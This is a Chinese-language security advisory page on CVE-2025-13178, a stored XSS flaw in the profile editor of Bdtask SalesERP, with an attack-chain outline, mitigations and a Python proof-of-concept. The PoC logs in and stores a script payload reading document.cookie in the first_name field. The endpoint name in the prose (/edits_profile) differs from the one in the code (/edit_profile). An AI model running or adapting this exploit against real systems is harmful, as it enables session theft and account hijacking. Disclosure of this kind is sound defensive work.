IPBUF安全漏洞报告
English
CVE-2025-13178 CVSS 3.5 低危

CVE-2025-13178 Bdtask SalesERP跨站脚本漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2025-13178
漏洞类型
跨站脚本(XSS)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Bdtask/CodeCanyon SalesERP

相关标签

跨站脚本漏洞存储型XSSSalesERPCVE-2025-13178用户资料模块CodeCanyonBdtask企业管理系统

漏洞概述

CVE-2025-13178是Bdtask/CodeCanyon SalesERP企业资源规划系统中存在的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于用户个人资料管理模块的/edits_profile功能中,攻击者可以通过在first_name或last_name参数中注入恶意JavaScript代码来实现持久化的跨站脚本攻击。由于该漏洞影响用户个人资料页面,所有访问该用户资料的其他用户都将受到恶意脚本的影响,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。SalesERP是一款面向企业的销售和客户关系管理解决方案,广泛应用于中小型企业的日常运营中。该漏洞的CVSS评分为3.5分,属于低危级别,但考虑到企业环境中用户之间的交互频繁,攻击者可能通过社会工程学手段诱导受害者访问恶意页面,从而扩大攻击面。漏洞发现者已发布相关技术细节和验证代码,建议受影响用户尽快采取防护措施。

技术细节

该漏洞属于存储型XSS(Stored XSS)漏洞,存在于SalesERP系统的用户资料编辑功能模块中。攻击者通过访问/edits_profile端点,在first_name或last_name表单字段中注入恶意JavaScript代码。由于系统未对用户输入进行充分的输入验证和输出编码,攻击者注入的恶意脚本会被永久存储在数据库中。当其他用户查看该用户资料或与该用户相关的数据时,恶意脚本将在受害者浏览器中执行。攻击者可利用此漏洞窃取用户会话cookie、劫持用户账户、修改页面内容进行钓鱼攻击,或植入进一步的攻击载荷。由于该系统通常部署在企业内部网络环境,攻击者可能利用已获取的权限进行横向移动,扩大攻击范围。漏洞利用需要低权限认证(PR:L),攻击向量为网络(AV:N),但需要用户交互(UI:R)才能触发。

攻击链分析

STEP 1
步骤1
攻击者使用低权限账户登录SalesERP系统
STEP 2
步骤2
访问/edits_profile页面,在first_name或last_name参数中注入恶意XSS载荷
STEP 3
步骤3
提交修改后的个人资料,恶意脚本被存储到数据库中
STEP 4
步骤4
当其他用户访问攻击者资料页面或相关功能时,恶意脚本在其浏览器中执行
STEP 5
步骤5
攻击者通过执行脚本窃取用户会话cookie、劫持账户或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-13178 PoC - Bdtask SalesERP XSS # Target: Bdtask/CodeCanyon SalesERP <= 20250728 TARGET_URL = "http://target.com" USERNAME = "attacker" PASSWORD = "password" PAYLOAD = "<script>alert(document.cookie)</script>" def exploit_cve_2025_13178(): """ Exploit for CVE-2025-13178: SalesERP XSS in /edit_profile Component: User Profile Handler Affected Parameter: first_name / last_name """ session = requests.Session() # Step 1: Login to the application login_url = f"{TARGET_URL}/login" login_data = { 'username': USERNAME, 'password': PASSWORD } response = session.post(login_url, data=login_data) if 'login' in response.url.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload in first_name field edit_profile_url = f"{TARGET_URL}/edit_profile" profile_data = { 'first_name': PAYLOAD, 'last_name': 'Test', 'email': '[email protected]', 'phone': '1234567890' } response = session.post(edit_profile_url, data=profile_data) # Step 3: Verify the XSS payload is stored profile_url = f"{TARGET_URL}/profile" response = session.get(profile_url) if PAYLOAD in response.text: print("[+] XSS payload successfully injected!") print(f"[+] Payload stored in profile page: {profile_url}") print("[+] Payload will execute when viewed by other users") return True else: print("[-] XSS injection failed - payload not found in response") return False if __name__ == "__main__": exploit_cve_2025_13178()

影响范围

Bdtask/CodeCanyon SalesERP <= 20250728

防御指南

临时缓解措施
在修复补丁发布之前,建议采取以下临时缓解措施:1) 在Web应用防火墙(WAF)上配置XSS防护规则,对/edits_profile端点的输入进行过滤;2) 禁用用户资料页面的JavaScript执行或实施严格的CSP策略;3) 限制低权限用户修改个人资料的first_name和last_name字段;4) 监控异常的用户资料修改行为;5) 对所有用户输入实施白名单验证,仅允许安全字符通过。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表